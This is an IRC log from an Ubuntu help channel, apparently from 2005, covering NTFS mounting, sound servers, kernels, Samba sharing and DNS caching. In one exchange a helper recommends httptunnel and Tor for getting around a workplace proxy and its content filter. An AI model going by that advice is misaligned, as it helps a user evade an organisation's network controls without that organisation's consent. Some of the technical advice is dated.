[08:00] <lunitik> bur[n] er: and I'm on breezy also...
[08:01] <bur[n] er> lunitik, openoffice.org2?
[08:01] <lunitik> bur[n] er: yuh
[08:01] <bur[n] er> odd
[08:02] <lunitik> bur[n] er: 'myspell-dictionary' not 'myspell-en-us'  :/
[08:02] <dabaR> matthew_w: its a executable script, so you changed its permissions to be executable, with chmod, and then you ran it, but cause its not in your path, you had to specify where it is, and you had to use sudo to have it be able to install. only root installs.
[08:03] <dabaR> matthew_w: the explanation is as important if not more as the command.
[08:03] <glyn> Dr_Willis>I tried installing something else to the seemingly same location, under C_Drive/common files, and that isn't there either
[08:03] <bur[n] er> myspell-dictionary isn't a real package ;)
[08:03] <bur[n] er> it says to pick your language
[08:03] <bur[n] er> where en-us is mine
[08:03] <bur[n] er> oh well... something to tackle another night... it's time for bed
[08:03] <lunitik> blah... *goes to see what it installed here*
[08:03] <bur[n] er> thanks lunitik... have a good night :)
[08:04] <matthew_w> dabaR; thanks again
[08:05] <Dr_Willis> ugh.. shouldent you be looking under "program files" ?
[08:05] <Dr_Willis> glyn,  you havent tryed the "ls -R" thing yet have ya ? :P
[08:05] <glyn> Dr_Willis>No, what do I do?
[08:05] <glyn> Dr_Willis>I tried both common files and program files
[08:06] <Dr_Willis> glyn,  well for the 4th time... use "ls -R" from yoru home dir to see a recursive file listing. :P
[08:06] <Dr_Willis> :)
[08:06] <dabaR> welcome.
[08:07] <Dr_Willis> glyn,  if you installed say.. irfanview. to  the irfanview dir. ya could 'ls -R | grep irfanview'
[08:09] <Fr0Gs> does anyone know were i can get cpanel for my website for free?
[08:09] <glyn> hmm, I used a basic ls -R command but the files I tried to install aren't there
[08:09] <Bags> Dr_Willis: I don't know... I've installed tightvnc but it only shows an X desktop, but I need the KDE one...
[08:09] <Fr0Gs> Bags i have the same problem
[08:09] <Fr0Gs> i want it to show the gnome one
[08:09] <glyn> Dr_Willis>Perhaps I can mount my Windows drive and solve this problem?
[08:09] <Fr0Gs> but it shows X:1
[08:09] <glyn> Dr_Willis>I have the files on my Windows drive..I just need to know how to mount the c ntfs drive
[08:10] <Dr_Willis> Bags,  check th3 tightvnc docs and the server script that runs it - you can make a config file that lets you run any window manager.
[08:10] <Dr_Willis> !NTFS
[08:10] <ubotu> I guess ntfs is the (N)(T) (F)ile(S)ystem, the filesystem normally used under Windows XP.  To automatically mount your NTFS partition/s, you can use this utility: http://www.ubuntulinux.nl/files/winmac_fstab . It handles HFS+, NTFS and FAT32 partitions.
[08:10] <glyn> I had all this shit and my computer just went crazy and I had to install Ubuntu again
[08:10] <Dr_Willis> :)
[08:11] <Dr_Willis> Bags,  the file is often .vnc/xstartup  - but i am not sure what the tightbvnc package for ubuntu defaults to. (check the vncserver script to see wht it looks for)
[08:11] <glyn> Dr_Willis>Heh, I went to the link but how do I save it as a file?
[08:12] <Dr_Willis> glyn,  right click, save link as... perhaps.
[08:13] <nalioth> glyn: writing to ntfs from linux is a good first step to an all linux system
[08:13] <Dr_Willis> nalioth,  lol. :P
[08:14] <ubuntu-asker> !sound
[08:14] <ubotu> [sound]  http://www.ubuntulinux.org/wiki/DebuggingSoundProblems/
[08:14] <Dr_Willis> !moo
[08:14] <ubotu> rumour has it, moo is apt-get with Super Cow Powers!
[08:14] <glyn> how do I enable writing on my NTFS?
[08:15] <glyn> right now it's only mounted as read only
[08:15] <Madpilot> glyn: not recommended...
[08:15] <rob^> hmm thats weard I can't find openoffice.org-dictionaries or myspell-dictionary
[08:15] <humulus> glyn: is that supported yet
[08:15] <glyn> Dunno
[08:15] <glyn> I just want to delete all this spyware
[08:15] <Dr_Willis> you dont want to write to a ntfs under linux.
[08:15] <humulus> there were always problems with this
[08:15] <Dr_Willis> unless of course.. you want to risk trashing your total ntfs filesystem
[08:15] <rob^> ah never mind
[08:16] <glyn> it's already trashed
[08:16] <glyn> lol
[08:16] <glyn> basically anyways
[08:16] <Dr_Willis> the format the thing and be done with it.
[08:16] <Dr_Willis> :P
[08:16] <glyn> I can't log on through Windows
[08:16] <nalioth> glyn: you run windows
[08:16] <glyn> but I want to retain my data
[08:16] <Dr_Willis> then copy the data  somewhere.
[08:16] <Dr_Willis> :P
[08:16] <nalioth> glyn: you can read from the ntfs partition all you like
[08:16] <glyn> heh
[08:16] <Dr_Willis> logic 101
[08:17] <Dr_Willis> do what you need to do.. :P not other things. lol.
[08:17] <Fr0Gs> has anyone got Vino to work on ubuntu?
[08:17] <ofer0> after installing gcc via apt-get, i cant compile anything because of errors like this one: stdio.h: No such file or directory, i think i have to installed some libraries or something, you know what to install?
[08:17] <Dr_Willis> Fr0Gs,  i think i tried it once. and it was slow. :(  but that was like 2 months ago.
[08:18] <Fr0Gs> did it work?
[08:18] <glyn> How do I log into root so I can access my filesystem through the terminal?
[08:18] <Dr_Willis> Fr0Gs,  thats the GNome-vnc thing right?
[08:18] <Fr0Gs> yeh
[08:18] <ofer0> glyn, sudo -i
[08:18] <glyn> hmm I ran the winmac fstab and gnome recognizes my ntfs but it doesn't appear on the terminal
[08:18] <Dr_Willis> Fr0Gs,  i had better luck with just gnome in its own vnc-session, not being shared on the local machine at the same time.
[08:19] <dabaR> small netsplit?
[08:19] <Madpilot> baby netsplit
[08:20] <glyn> anyone know how I can access my ntfs through the terminal so I can run read my files?
[08:20] <ofer0> glyn, what is the problem?
[08:21] <glyn> I'm under root@Haksmoke but I can't find my filesystem
[08:21] <glyn> err 7.5g hard drive
[08:21] <glyn> or my file system
[08:22] <dabaR> just use !windowsdrives
[08:22] <glyn> what is windows drives?
[08:22] <woofcat> Hmm, Ubuntu. How easy is it to use?
[08:22] <dabaR> !windowsdrives
[08:22] <ubotu> from memory, windowsdrives is Download and run http://www.ubuntulinux.nl/files/winmac_fstab to make your windows partions mount automatically
[08:23] <dabaR> woofcat: 56
[08:23] <glyn> I already mounted it
[08:23] <woofcat> Wow thanks dabaR
[08:23] <dabaR> well.
[08:23] <topyli> woofcat: clickety-click :-)
[08:23] <Dr_Willis> then use the 'mount' command to make sure its mounted, and where.. then cd to it.
[08:23] <woofcat> dabaR - Gentoo to Redhat.
[08:23] <woofcat> One is alot easier than the other
[08:24] <dabaR> ok.
[08:24] <glyn> for the location I get /dev/hda1 on /media/7 GB Disk (hda1) type ntfs (ro,noexec,nosuid,nodev,fmask=0111,dmask=0000)
[08:24] <nalioth> glyn: it is in your /media directory
[08:24] <woofcat> Hmm. How is it for installing programs? Can it take RPM's?
[08:24] <geneo93> woofcat:  if you want simple us kubuntu
[08:24] <_BIJ_> hi @ all...
[08:25] <woofcat> Well
[08:25] <woofcat> Its just on 56k
[08:25] <woofcat> You REALLY wanna make sure before youdownload
[08:25] <glyn> where is the /media directory?
[08:25] <_BIJ_> anyone knows if i get a speed increase when i try to compile my own kernel?
[08:25] <nalioth> guys, what is a good command line primer?
[08:25] <dabaR> woofcat: whats just on 56k?
[08:25] <aftertaf> glyn:  in root
[08:25] <nalioth> _BIJ_: not enough for a human to notice
[08:26] <glyn> How do I access it through the terminal?
[08:26] <aftertaf> '/media/[drive] '
[08:26] <nalioth> a good terminal primer for glyn
[08:26] <aftertaf> cd /media
[08:26] <geneo93> man bash
[08:26] <glyn> ah okay
[08:26] <nalioth> aftertaf: root is not necessary
[08:26] <aftertaf> !tell glyn about cli
[08:26] <dabaR> woofcat: if that is some impression from my arbitrary choice of a number to describe how easy something is to use...then you got the wrong picture.
[08:26] <Dr_Willis> heh Linux FUNdamentals.
[08:26] <woofcat> dabaR - sigh, When you download at 56K getting a few Cd's takes along time. You always want to make sure its good.
[08:26] <dabaR> aha
[08:26] <dabaR> ok.
[08:26] <aftertaf> nalioth:  i meant as in "/"
[08:27] <aftertaf> glyn:  linuxcommand is excellent...
[08:27] <nalioth> aftertaf: i'm confused ;0
[08:27] <_BIJ_> nalioth, ok so it doesn't really matter if i use the standard ubuntu kernel for i386 or my own because i got an intel centrino...
[08:27] <geneo93> woofcat:  i have 28k and i do it all here
[08:27] <woofcat> So you have a modem
[08:27] <woofcat> thats 28K
[08:28] <geneo93> yes
[08:28] <woofcat> Were do you live?
[08:28] <nalioth> _BIJ_: you might use the 686 kernel on your i386 ubuntu distro
[08:28] <geneo93> well its v92 but i'm so far out i only get 28800
[08:29] <abydos> _BIJ_:  no, it doesn't matter, they're fundamentally the same architecture
[08:29] <woofcat> How long does it take for the Cd's to ship? on average?
[08:29] <geneo93> woofcat:  nw ohio
[08:29] <nalioth> _BIJ_: the 686 kernel addresses larger amounts of memory and some other refinements for faster newer machines
[08:29] <geneo93> 4-6 weeks
[08:29] <woofcat> holy damn
[08:29] <ubuntu-asker> hi again, im having problems with audio... i dont want to compile my kernel, but somehow i have no sound (it seems everything right :S) my sound card has been correctly recon
[08:30] <aftertaf> nalioth:  i meant the root of the disk system "/" which has a directory called media...
[08:30] <aftertaf> ;)
[08:30] <geneo93> woofcat:  where are you
[08:30] <woofcat> I guess i get my cd's in december
[08:30] <glyn> I went to media but I can't access my disk
[08:30] <woofcat> Canada
[08:30] <aftertaf> glyn:  have you mounted it?
[08:30] <nalioth> aftertaf: please keep in mind you are speaking most of the time in here to brand new *nix users
[08:30] <glyn> I don't know
[08:30] <glyn> I used winmac fstab
[08:30] <aftertaf> nalioth:  ;) ok
[08:30] <Fr0Gs> Dr_Willis i followed this and it worked :) http://ubuntuforums.org/showthread.php?t=45565&highlight=vino
[08:31] <nalioth> glyn: you really should read the link ubotu sent you
[08:31] <geneo93> ahh
[08:31] <woofcat> geneo93 - so any idea on shipping time to Canada?
[08:31] <aftertaf> i'm sort of a nOOb too, but got some of the basics down now :)
[08:31] <_BIJ_> nalioth, and if i want a "faster" optimized kernel for my centrino, do i have to compile my own, or is it possible to download a precompiled ubuntu kernel for centrinos ?
[08:31] <nalioth> _BIJ_: there is a 686 kernel available via apt-get
[08:31] <aftertaf> _BIJ_:  good question... was goinf to ask similar too, but i 'think' i know the answer
[08:32] <_BIJ_> really?
[08:32] <ubuntu-asker> ubuntu uses oss by default? or just enable the oss modules for "compatibility"
[08:32] <glyn> I'm at the link but it doesn't say anything about mounting
[08:32] <_BIJ_> what is the name of the 686 kernel for ubuntu?
[08:32] <aftertaf> its precompiled, setup for the processor in the package name
[08:32] <glyn> heh it's been like 4 hours and I still haven't got this program to work yet
[08:33] <aftertaf> with same defaults as ubuntu i386 installation... (?)
[08:33] <aftertaf> !tell glyn about mount
[08:33] <_BIJ_> by the way, thx 4 your help ;-)
[08:33] <glyn> !windowsdrives
[08:33] <ubotu> well, windowsdrives is Download and run http://www.ubuntulinux.nl/files/winmac_fstab to make your windows partions mount automatically
[08:33] <glyn> I already used winmac_ftab....
[08:33] <glyn> but I can't access my drive through the terminal
[08:33] <aftertaf> glyn:  having a look at the file...
[08:34] <abydos> glyn:  cd $mount_directory_here
[08:34] <nalioth> _BIJ_: use synaptic and search for kernel
[08:34] <aftertaf> er, ok :)
[08:34] <ubuntu-asker> i cant hear sound, but everything is ok... :S
[08:34] <abydos> ubuntu-asker:  what card is this?
[08:35] <ubuntu-asker> via82xx
[08:35] <aftertaf> so, kernel sources in ubuntu are called linux-source-XXX
[08:35] <geneo93> anyone have success installing nvidia 7676 driver
[08:35] <glyn> abydos>What exactly do I type?  those commands are too complicated for me
[08:35] <glyn> lol
[08:35] <abydos> err
[08:35] <_BIJ_> nalioth okay i'll do... MUCHOS GRACIAS! But first of all i got to reinstall my ubuntu, because an upgrade from hoary to breezy wrecked my system...
[08:35] <nalioth> _BIJ_: da nada
[08:35] <abydos> glyn:  not to be a supremacist asshole, but you probably shouldn't be trying to use the terminal if you don't understand cd and ls
[08:35] <ubuntu-asker> abydos, it works perfect in my gentoo system, btw there is no "hard error", everything fine, except that there is no sound :S
[08:36] <nalioth> glyn: you really should get some terminal basics under your belt (cuz you could wreck something <like your NTFS partition>)
[08:36] <_BIJ_> nalioth, are you running breezy successfully?
[08:36] <geneo93> i'm using breezy without problems
[08:37] <nalioth> _BIJ_: sorry, you mistook me for indiana jones, i'm not gonna switch to breezy on my production machine until a month after it releases (maybe sooner if i hear no bad news)
[08:37] <abydos> ubuntu-asker:  I have a via82cxxx card, on-board.  It was entirely plug and play, except for the fact that it was only stereo and I wanted a 7.1 card, so I got an Audigy2
[08:38] <abydos> ubuntu-asker:  suffice it to say that labtec surround-sound speakers' "emulated surround" is no substitute for the real thing
[08:38] <ubuntu-asker> abydos, well i have no problem... with that i only want to listen some pink floyd songs, in "acceptable" sound level.... but i cant hear nothing
[08:38] <_BIJ_> geneo93, i've tried to reinstall it from the cd after hoary was wasted... but after a complete cd to hd copy AND a reboot the system tells me, that it has to intall some further packages... at 80% the system freezes...
[08:38] <abydos> ubuntu-asker:  are the volume levels >0?
[08:39] <abydos> and grah, why is nautilus not working right at this moment
[08:39] <_BIJ_> nalioth, OK won't call you indy :)
[08:39] <ubuntu-asker> abydos, yes, i set it with alsamixer
[08:39] <_BIJ_> so breezy is for me a freezy system...
[08:39] <geneo93> blj try apt-get -f install
[08:39] <nalioth> _BIJ_: i have enough trouble running the things i want (that x86 users have)
[08:40] <nalioth> _BIJ_: i run a macintosh with ubuntu
[08:40] <_BIJ_> nalioth, thats patriotic!
[08:40] <nalioth> _BIJ_: yes, breezy is broken
[08:40] <ubuntu-asker> nalioth, and thats the production machine?
[08:40] <geneo93> blj it did for me too but i fixed it
[08:41] <_BIJ_> geneo93, i even havent got the console available... i see after a reboot only pixeled-shit that cannot be interpreted by a human...
[08:41] <geneo93> nalioth its not
[08:41] <_BIJ_> geneo93, so how can i enter the console mode ?
[08:42] <geneo93> blj use live cd
[08:42] <nalioth> ubuntu-asker: i have several macs
[08:42] <_BIJ_> ok and then?
[08:42] <nalioth> geneo93: its not what?
[08:42] <_BIJ_> nalioth, don't you think that macOS rules linux?
[08:43] <nalioth> _BIJ_: #ubuntu-offtopic
[08:43] <geneo93> borked it works fine for me
[08:43] <Dr_Willis> i perfer linux in many ways over OS-X :P
[08:43] <Dr_Willis> lol
[08:43] <_BIJ_> muhaha ok...
[08:43] <nalioth> Dr_Willis: me using it here and now (and for the last several months, sorta indicates i feel the same way
[08:44] <dducko> I seem to be haveing some odd Sound problems.. . Some places i have sound, others I dont
[08:44] <dducko> Ubuntu sees and correctly recognizes my sound card
[08:44] <_BIJ_> geneo93, if i use the breezy live cd... how do i fix my broken intall?
[08:45] <Dr_Willis> nalioth,  i do find that the text/fonts on the screen on OS-X look very veyr very nice :P
[08:45] <dducko> all the systme sounds work, and gaim sounds but Firefox and Neverwinter Nights I have no sound
[08:45] <_BIJ_> i have to log into the other ubuntu on my hd right?
[08:46] <geneo93> blj if you cant get console your better off reinstalling prolly all the foiles are trunched
[08:46] <nalioth> so much for -offtopic
[08:46] <nalioth> Dr_Willis: if linux had the $$$ behind it that OSX has has.. .. .. .. ..
[08:47] <dducko> You scared him away
[08:47] <nalioth> _BIJ_: do you know chroot?
[08:49] <_BIJ_> yes
[08:49] <nalioth> _BIJ_: that's what you'll be doing from the liveCD
[08:50] <_BIJ_> i log with chownroot into the other system and then i do an apt-get -f install, right?
[08:51] <nalioth> _BIJ_: correct
[08:51] <_BIJ_> ok i'll try... see you later guys!
[08:51] <nalioth> _BIJ_: i think its just "chroot", tho
[08:51] <ubuntu-asker> How can i do this --> via82xx: Assuming DXS channels with 48k fixed sample rate .... Please try dxs_support=1 or dxs_support=4 option ... and report if it works on your machine.
[08:52] <_BIJ_> kk so I'LL BE BACK ;-)
[08:52] <bytefoo> ;0
[08:52] <geneo93> yes
[08:53] <bored2k> how can i switch from alsa to esd via command line ?
[08:53] <geneo93> blj you might want to check apt list of repos first
[08:59] <xsquared> ubuntu is hard to install
[08:59] <geneo93> have to reboot new kernel
[09:00] <icheyne> hi all
[09:00] <icheyne> got a problem with my dvd drive
[09:00] <icheyne> I do not know how to enable dma
[09:00] <icheyne> as I cannot work out
[09:01] <icheyne> which /dev/foo
[09:01] <ubuntu-asker> im going crazy... why my sound is not working, i dont want to compile my kernel, and everything points that is everything ok
[09:01] <icheyne> I should be using
[09:01] <icheyne> I have tried /dev/hdc
[09:01] <icheyne> I have tried /dev/hdd
[09:01] <icheyne> I have tried /dev/dvd
[09:01] <icheyne> but no joy
[09:01] <icheyne> anyone got a clue?
[09:01] <icheyne> :)
[09:02] <ubuntu-asker> icheyne, use hdparm
[09:02] <icheyne> ubuntu-asker, https://wiki.ubuntu.com/SoundProblemsHoary?highlight=%28sound%29
[09:03] <icheyne> thanks ubuntu-asker I've tried that but I do not know which device to enable
[09:03] <icheyne> loads of options in the /dev/ folder
[09:03] <ubuntu-asker> icheyne, /dev/cdrom
[09:03] <crimsun> icheyne: paste the contents of /var/log/dmesg onto paste.ubuntulinux.nl
[09:03] <icheyne> ubuntu-asker, I didn't try that
[09:03] <nalioth> !tell icheyne about dma
[09:04] <icheyne> crimsun, I will do that now
[09:04] <mae> Hi, i'm having an issue with breezy i was wondering if anyone else had it.. both rhythmbox and sound-juicer crash no matter what on startup :)
[09:04] <icheyne> let me try /dev/cdrom
[09:04] <icheyne> back in a mo!
[09:05] <ubuntu-asker> why ubuntu uses esd?? :S
[09:06] <crimsun> ubuntu-asker: before the infrastructure was in place for Breezy, it was the least evil of all options
[09:06] <mae> ubuntu-asker, because it has been used long enough to be fairly stable.. newer systems are still too immature
[09:07] <AndyR> lo all
[09:08] <nalioth> howdy
[09:09] <ubuntu-asker> mae, well maybe alsa ( but oss?? ) btw i use alsa with no problems
[09:09] <esc_ape> hello
[09:09] <ubuntu-asker> mae, esd is, someway deprecated
[09:09] <mae> ubuntu-asker, esd and alsa are two separate things
[09:09] <ubuntu-asker> mae, yes, are two2 diferent sound servers
[09:10] <mae> alsa is the sound/driver framework, whereas esd sits on top of that, it uses alsa or oss, and it used to make different applications share sound resources nicely :)
[09:10] <mae> ubuntu-asker, no, ALSA is _not_ a sound server
[09:10] <ekimus> anyone could tell me why dpkg --get-selections still lists some packages that are already uninstalled (of course with "deinstall" in second column) shouldn't those packages just disappear?
[09:11] <mae> esd _uses_ ALSA
[09:11] <mae> you can use ALSA and totally bypass esd if you want.. won't harm anything
[09:11] <ubuntu-asker> mae, you are right, but you dont NEED esd
[09:11] <ekimus> mae: but alsa can do software mixing, so no need for a sound server
[09:11] <mae> ubuntu-asker, certain apps need esd to be running to provide sound
[09:11] <ubuntu-asker> mae, name one esd dependant
[09:11] <mae> ekimus, this is true, but alot of gnome apps still need esd
[09:12] <topyli> esd is genuinely ugly. i don't know if switching to polypaudio would help a lot, but i'm going to try one of these days
[09:12] <Wilf> ok.
[09:12] <Wilf> big problems.
[09:12] <Wilf> at my workplace.
[09:12] <nalioth> ekimus: run debfoster
[09:12] <Wilf> using ubuntu as a file server to back up win2000 machines
[09:12] <crimsun> topyli: it's unnecessary in breezy.
[09:12] <ubuntu-asker> mae, gnome is deprecated too... :P just kidding
[09:12] <mae> ubuntu-asker, if there are no esd-dependent apps that you use you can very easily turn ESD off with a checkbox in the gnome control panel...
[09:12] <Wilf> what dop i need to do to make ubuntu resolve DNses?
[09:12] <ekimus> mae: no, you can always tell those applications to use the sound device directly. i don't know a single one that won't work without alsa
[09:13] <paulproteus|lapt> Wilf: It normally does.
[09:13] <crimsun> topyli: alsa dmixed is the default, and esd is active as a backup.
[09:13] <paulproteus|lapt> Wilf: How did you set up this network?
[09:13] <tsw> Wilf: add your dns server to /etc/resolv.conf
[09:13] <paulproteus|lapt> Wilf: Does it have a static IP address, or do you get it by DHCP?
[09:13] <topyli> crimsun: oh, cool
[09:13] <Wilf> static
[09:13] <ekimus> !debfoster
[09:13] <ubotu> methinks debfoster is A command to weed unnecessary .deb packages. See http://www.fruit.eu.org/debfoster/ and http://ubuntuforums.org/showthread.php?t=2440
[09:13] <paulproteus|lapt> Wilf: If you want an IP address to add, not running one yourself, add 128.151.2.1 to /etc/resolv.conf .
[09:13] <Wilf> my problem is
[09:13] <gsuveg> im get "many invalid character in header (rfc 2822)" error form amavis, how can i disable this scan in amavis ?
[09:13] <Wilf> that i can ping the ubuntu box from a windows machine
[09:13] <Wilf> and it will ping fine
[09:14] <Wilf> but it will time out if i just go ping foo
[09:14] <Wilf> and also, i cannot connect to the shared folder
[09:14] <paulproteus|lapt> Wilf: Try ping google.com
[09:14] <paulproteus|lapt> Many hosts block pings.
[09:14] <paulproteus|lapt> Windows may even by default these days.
[09:14] <Wilf> ubuntu and win2000 machines all can access the internet.
[09:14] <paulproteus|lapt> google.com is a known-pingable host.
[09:14] <mae> ekimus, this is true for alot of apps yes, but some only _know_ how to use esd, not alsa directly, remember alsa is still fairly new.. before esd was used to abstract sound-services into a simpler api in order to ease the programming of sound-enabled apps.. not _all_ apps know how to use ALSA or OSS directly.
[09:14] <MrGardenHoseMan> how do you properly remove a usb drive?
[09:14] <paulproteus|lapt> Wilf: "cannot connect to the shared folder" - is that because you need to enter a username/password for it?
[09:14] <MrGardenHoseMan> unmount it and just remove it?
[09:15] <topyli> MrGardenHoseMan: yes
[09:15] <Wilf> paulproteus|lapt, yes
[09:15] <Wilf> but nomatter what i type
[09:15] <paulproteus|lapt> MrGardenHoseMan: Right-click, unmount, then pull it out.
[09:15] <MrGardenHoseMan> thanks
[09:15] <Wilf> nothing accesses it
[09:15] <ekimus> mae: which one? i just had problems _using_ esd.
[09:15] <mae> ekimus, what problem, with which app?
[09:16] <ekimus> mae: mp3blaster no sound with esd because it doesn't know esd uses alsa/oss directly
[09:16] <Wilf> i can ping the ubuntu box from a winbox using the ip, but not with the host name, and the ubuntu box can ping everyone.
[09:16] <crimsun> ekimus: esddsp mp3blaster, or use alsa directly via its oss emulation (enabled by default in Ubuntu), or wrap it with aoss mp3blaster
[09:16] <paulproteus|lapt> Wilf: So you're saying you want to make DNS name for the Ubuntu box, and you don't know how?
[09:16] <ekimus> Wilf: that's because windows uses netbios for name resolution. you can look into the wine docs to achieve pinging by name
[09:17] <mae> ekimus, so try turning off the sound-server system > preferences > sound > Uncheck "Enable sound server startup"
[09:17] <Wilf> ok
[09:17] <paulproteus|lapt> Wilf: Run the samba server on the Ubuntu box, and you should be okay.
[09:17] <Wilf> but main thing all i want
[09:17] <Wilf> it is running
[09:17] <paulproteus|lapt> Samba, not WINE.  ekimus's comment isn't accurate.
[09:17] <ekimus> crimsun: just a meta discussion about the pros and cons of esd
[09:17] <mae> ekimus, but esd shouldn't cause any problems with apps trying to use ALSA directly
[09:17] <Wilf> i just want the ubuntu box shared folder to appear in my network places.
[09:17] <Wilf> tried everything
[09:17] <paulproteus|lapt> Wilf: Is the "shared folder" hosted on the Ubuntu box, or not?
[09:18] <Wilf> yes.
[09:18] <Wilf> shared folder is /backups
[09:18] <paulproteus|lapt> Wilf: Let me dig up a URL for you, then.
[09:18] <Wilf> on the root
[09:18] <crimsun> ekimus: as I mentioned to topyli earlier, it's moot for Breezy. We've made dmixed ALSA the default with esd as a backup.
[09:18] <Wilf> thankyou
[09:18] <Wilf> !
[09:18] <ubotu> Wilf: Do they come in packets of five?
[09:18] <ekimus> mae: i know very well how to disable this stuff. it's just that I'm not used to have so much preconfigured (not that it's a bad thing. I'm just used to distro's that require more manual config)
[09:18] <konra`> how do you use alsa sound ? most games complain about needing it
[09:18] <konra`> :p
[09:19] <nalioth> ekimus: there are pros and cons to both
[09:19] <paulproteus|lapt> Wilf: You MUST install the samba server on the Ubuntu box.
[09:19] <paulproteus|lapt> You must then read http://www.samba.org/samba/docs/man/Samba-Guide/ .
[09:19] <Wilf> it is installed.
[09:19] <mae> ekimus, allright.. but like i said, as others can tell you, esd is configured in such a way that it does not interfere with apps accessing ALSA directly
[09:19] <ekimus> crimsun: sounds great. but tell me one thing: Why couldn't you tell me 3 weeks ago when I set alsa up :)
[09:19] <mae> or OSS for that matter
[09:19] <paulproteus|lapt> Wilf: Reading that URL should help you out.
[09:19] <Madpilot> konra`: "killall esd" on a prompt before you start the game often works
[09:19] <Wilf> paulproteus|lapt, thank you so much!
[09:19] <ekimus> nalioth: true, i just like alsa more
[09:19] <konra`> Madpilot, thank you (again)
[09:20] <konra`> does killall take su privs Madpilot ?
[09:20] <paulproteus|lapt> Wilf: Do contact me to tell me it works, so I know you're okay. :)
[09:20] <crimsun> ekimus: you didn't happen to track breezy, did you?
[09:20] <Wilf> i tried to get here while i was at work
[09:20] <Wilf> but, stupid porxies!
[09:20] <Wilf> proxies rather
[09:20] <Wilf> (or proxys?)
[09:20] <crimsun> ekimus: dmixed alsa has been enabled as the default for nearly four months.
[09:21] <mae> :)
[09:21] <ekimus> crimsun: nope. stopped caring about configuring the desktop. that's why i went to ubuntu. configuring stuff is fine for corporate desktops or servers. but i really got sick of caring about it on my personal desktop
[09:22] <paulproteus|lapt> Wilf: Proxies.
[09:22] <Madpilot> konra`: not for esd. (use "esd" to restart it, btw)
[09:22] <crimsun> ekimus: one thing you'll want to note is that any warty/hoary desktops that you dist-upgrade to breezy will need to have their (/etc/asound.conf
[09:22] <paulproteus|lapt> Wilf: What's your problem with the proxies?
[09:22] <crimsun> |~/.asoundrc) moved out of the way
[09:22] <paulproteus|lapt> Wilf: You can get around proxy servers with something like GNU httptunnel.
[09:22] <paulproteus|lapt> Get *through* them, rather.
[09:23] <Wilf> hmmm.
[09:23] <ekimus> crimsun: i got my home on a remote svn repo and there's almost nothing i changed in the system settings. i guess i'll just commit my home grad a cd and wipe out the old install :)
[09:23] <ekimus> grab
[09:23] <Wilf> tried lots of things
[09:23] <jtan325> i've never spammed, and I don't think this counts as spam, but I would like to advertise a little program that I work on the dev team for. Conky 1.3.0, released literally within the past hour, is out and about. find it at http://conky.sf.net . there's a debian package now too, made by yours truly :-)
[09:23] <paulproteus|lapt> Wilf: What sort of proxy setup is it?
[09:23] <paulproteus|lapt> And what are you trying to do?
[09:24] <paulproteus|lapt> jtan325: Psst, what does it do? :)
[09:24] <Wilf> i'm not to sure, it is run by the departement of education...all i know is that it's running redhat 9.
[09:24] <jtan325> conky is a lightweight system monitor for X, based on the now-defunct torsmo program
[09:24] <Wilf> it's a HTTP setup
[09:24] <jtan325> please check it out, it's cool :-)
[09:24] <paulproteus|lapt> Wilf: Do they offer a SOCKS proxy, too?
[09:24] <Wilf> nope.
[09:25] <topyli> crimsun: with the feature freeze and all, is someone working on upgrade notes? in a perfect world we wouldn't need such things of course :)
[09:25] <nalioth> jtan325: you are the man! hope it works
[09:26] <crimsun> topyli: yes. There will be one similar to the one for warty->hoary. Additionally, the default home page for firefox will be a user's guide inspired by ubuntuguide
[09:26] <paulproteus|lapt> Wilf: You should be able to use TOR through that proxy.
[09:26] <Wilf> TOR?
[09:26] <paulproteus|lapt> TOR is "The Onion Router".  It's an anonymizing layer to the Internet that gives you full network access.  You can read about it at http://tor.eff.org/ .
[09:27] <Wilf> interesting.
[09:27] <topyli> crimsun: nice. the firefox home page is a great idea
[09:27] <Wilf> i wish i had the server box with me now
[09:27] <Wilf> the company firewalls block out any sites with particular words in them, and i'd say it'd be blocked, for "loophole" reasons.
[09:27] <topyli> Wilf: others dream of smaller mobile equipment :-)
[09:27] <jtan325> thanks nalioth, let me know if  you run into problems
[09:28] <paulproteus|lapt> Wilf: Tor would circumvent that.
[09:28] <nalioth> jtan325: anything would be better than the results i got with torsmo (nada)
[09:28] <jtan325> lol
[09:28] <jtan325> we've worked hard for this release
[09:28] <jtan325> and 2.x will be outta this world
[09:28] <ekimus> wow, deborphan thinks that libc6-i686 is unnecessary on my system...
[09:29] <paulproteus|lapt> Wilf: Can you go to https://securewhatever.com/ pages inside the proxy?
[09:29] <paulproteus|lapt> ekimus: Well, it is; plain-old-libc6 would be used instead if you remove it. :)
[09:29] <paulproteus|lapt> Notice the http *S*.
[09:30] <nalioth> ekimus: you havta teach ol' debfoster the first go-round (take im to skewl)
[09:30] <michele> hello
[09:30] <paulproteus|lapt> michele: Hi.
[09:30] <michele> anybody installed network-manager?
[09:31] <michele> it depends on libcairo1, which isn't available...
[09:31] <ekimus> nalioth: i'm trying deborphan not debfoster. i will see if i need to boot knoppix and chroot in my install to fix things :)
[09:31] <nalioth> ekimus: is it son of foster?
[09:32] <rob^> anyone know of a good caching server?
[09:32] <ekimus> nalioth: don't know. i read about it in some debian howto
[09:32] <ekimus> rob^: squid
[09:32] <nalioth> rob^: like squid (no thats a proxy)
[09:32] <rob^> umm that should be DNS caching server
[09:32] <Seveas> rob^, bind9 :)
[09:32] <nalioth> rob^: actually its a content caching proxy server
[09:32] <rob^> I'd use bind, but thats overkill for what I want
[09:33] <nalioth> rob^: squid has the ability to call all kinds of friends to work with it (like clamav)
[09:33] <rob^> squid does dns now?
[09:33] <omp342> hello, ubuntu users :)
[09:33] <ekimus> rob^: djbdns is quite easy to set up from what i heard
[09:33] <Seveas> rob^, dnsmasq
[09:33] <rob^> ekimus, its painful
[09:33] <ekimus> rob^: oh :)
[09:34] <ekimus> never tried it i usually stay with bind
[09:34] <rob^> Seveas, yeah, thats the one I was thinking of but forgot its name, thanks :)
[09:34] <paulproteus|lapt> dnsmasq is nice and easy.
[09:34] <Seveas> rob^, apt-cache search dns helps a lot ;)
[09:34] <rob^> yes
[09:34] <omp342> is there a way i can get rid of the little triangle on the gnome main menu?
[09:34] <rob^> but it brings up about 30 results
[09:35] <ekimus> btw. anyone set up bind+ldap so that the reverse zones are automagically created?
[09:36] <paulproteus|lapt> omp342: Triangle?
[09:36] <rob^> I've set up dnsmasq before, just forgot the name
[09:37] <barosl> a
[09:37] <mae> !jigdo
[09:37] <ubotu> Syntax error in line 1, mae
[09:37] <mae> whatever
[09:37] <wickedpuppy> /topic
[09:37] <mae> worthless artificial intelligence
[09:38] <omp342> paulproteus|lapt: http://docs.sun.com/source/806-6873/images/open_main_menu.tiff.gif  <here's an example, but mine is black instead of white :)
